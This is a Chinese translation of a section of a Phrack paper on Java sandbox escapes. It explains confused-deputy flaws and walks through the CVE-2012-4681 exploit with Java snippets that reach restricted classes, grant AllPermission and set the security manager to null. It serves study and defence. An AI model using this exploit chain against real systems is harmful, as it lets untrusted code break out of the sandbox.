原文:http://phrack.org/papers/escaping_the_java_sandbox.html
在前面几篇文章中,我们为读者全面介绍了基于内存破坏型漏洞的沙箱逃逸技术。从本文开始,我们将介绍Java级别的漏洞。首先,让我们来了解一下糊涂的代理人漏洞。
--[ 4 - Java级别的漏洞
----[ 4.1 - 糊涂的代理人漏洞
------[ 4.1.1 - 背景知识
在Java平台上,糊涂的代理人攻击是一种很常见的攻击类型。具体的例子包括针对CVE-2012-5088、CVE-2012-5076、CVE-2013-2460以及CVE-2012-4681漏洞的攻击,这些示例将在下面详细介绍。这种攻击类型的基本思路是,利用访问私有方法或系统类的字段的代码,以便(例如)停用安全管理器。但是,漏洞利用代码不是直接访问所需的类成员,而是让受信任的系统类来完成相应的操作。要想滥用系统类,典型的方法就是滥用反射或MethodHandles的不安全用法,例如,让一个受信任的系统类对目标字段执行可由安全分析人员控制的反射型读取访问。
------[ 4.1.2 -示例: CVE-2012-4681
我们将考察CVE-2012-4681漏洞,因为这是一个典型的糊涂的代理人攻击。
首先,我们需要获取_sun.awt.SunToolkit_的访问权限,由于这是一个受限制的类,所以,不受信任的代码是无法访问它的。
1: Expression expr0 = new Expression(Class.class, "forName",
2: new Object[] {"sun.awt.SunToolkit"});
3: Class sunToolkit = (Class)expr.execute().getValue();
上面就是利用这个漏洞的方法。即使我们将Class.forName()指定为Expression的目标方法,但实际上并不会调用这个方法。相反,_Expression_实现了专门针对这种情况的定制逻辑,会在没有正确检查访问权限的情况下加载类。因此,_Expression_在这里会充当我们糊涂的代理人,替我们加载一个我们无权加载的类。
接下来,我们就可以使用SunToolkit.getField()方法来访问私有字段Statement.acc了。
1: Expression expr1 = new Expression(sunToolkit, "getField",
2: new Object[] {Statement.class, "acc"});
3: Field acc = expr1.execute().getValue();
getField()是另一个糊涂的代理人,在它的帮助下,我们可以通过反射机制来访问系统类的私有字段。以下代码演示了getField()方法是如何使用doPrivileged()来读取相应的字段的,并将其设置为可访问,以便稍后可以修改其值。
SunToolkit.java
1: public static Field getField(final Class klass,
2: final String fieldName) {
3: return AccessController.doPrivileged(
4: new PrivilgedAction<Field>() {
5: public Field run() {
6: ...
7: Field field = klass.getDeclaredField(fieldName);
8: ...
9: field.setAccessible(true);
10: return field;
11: ...
接下来,我们创建一个AccessControlContext,它将被授予全部的权限。
1: Permissions permissions = new Permissions();
2: permissions.add(new AllPermission());
3: ProtectionDomain pd = new ProtectionDomain(new CodeSource(
4: new URL("file:///"), new Certificate[0]), permissions);
5: AccessControlContext newAcc =
6: AccessControlContext(new ProtectionDomain[] {pd});
_Statement_对象能够代表任意的方法调用。创建_Statement_实例时,会把当前的安全上下文存放到Statement.acc中。调用Statement.execute()时,它会在存放于Statement.acc中的那个原来的安全上下文中执行其代表的调用,以保证它调用该方法时所拥有的权限,与直接调用它时所拥有的权限相同。
接下来,我们创建一个代表System.setSecurityManager(null)调用的Statement,并用被赋予了全部的权限的新AccessControlContext,来覆盖掉存放在Statement.acc中的AccessControlContext。
1: Statement stmt = new Statement(System.class, "setSecurityManager",
2: new Object[1]);
3: acc.set(stmt, newAcc)
最后,我们调用stmt.execute()来实际执行对setSecurityManager()的调用。这个调用将会成功,因为stmt.acc中的安全上下文,已经被拥有全部特权的安全上下文替换掉了。
------[ 4.1.3 - 讨论
糊涂的代理人攻击问题,在本质上是由Java平台安全的核心概念引起的。沙箱的一个关键机制是基于堆栈的访问控制:在进行敏感操作前,会对调用堆栈进行检查,例如,看看是否允许不受信任的代码直接访问敏感的类成员。但是,对于堆栈的检查工作,在某些情况下,会在检查当前堆栈上的所有调用方是否具有适当权限之前终止。引发终止行为的常见情况有两种。在第1种情况下,堆栈上的某个调用方通过调用doPrivileged()来显式声明所需的操作是安全的,即使从非特权代码调用也是如此。虽然doPrivileged()通常是一种明智的机制,但在未采取全面的预防措施来确保特定操作的安全性的情况下,它也可能被错误地使用。在第2种情况下,系统类的方法只对直接调用方的属性进行了亲自的检查,并跳过JVM的访问控制机制的检查,而该机制还将检查堆栈上的其他调用方。在这两种情况下,安全分析人员只需以系统类的名义执行某些敏感操作,就能从不完整的堆栈遍历中获益匪浅。
小结
从本文开始,我们将介绍Java级别的漏洞。在本文中,我们讲解了糊涂的代理人漏洞方面的内容,在下一篇文章中,我们将继续为读者介绍更多精彩内容,敬请期待。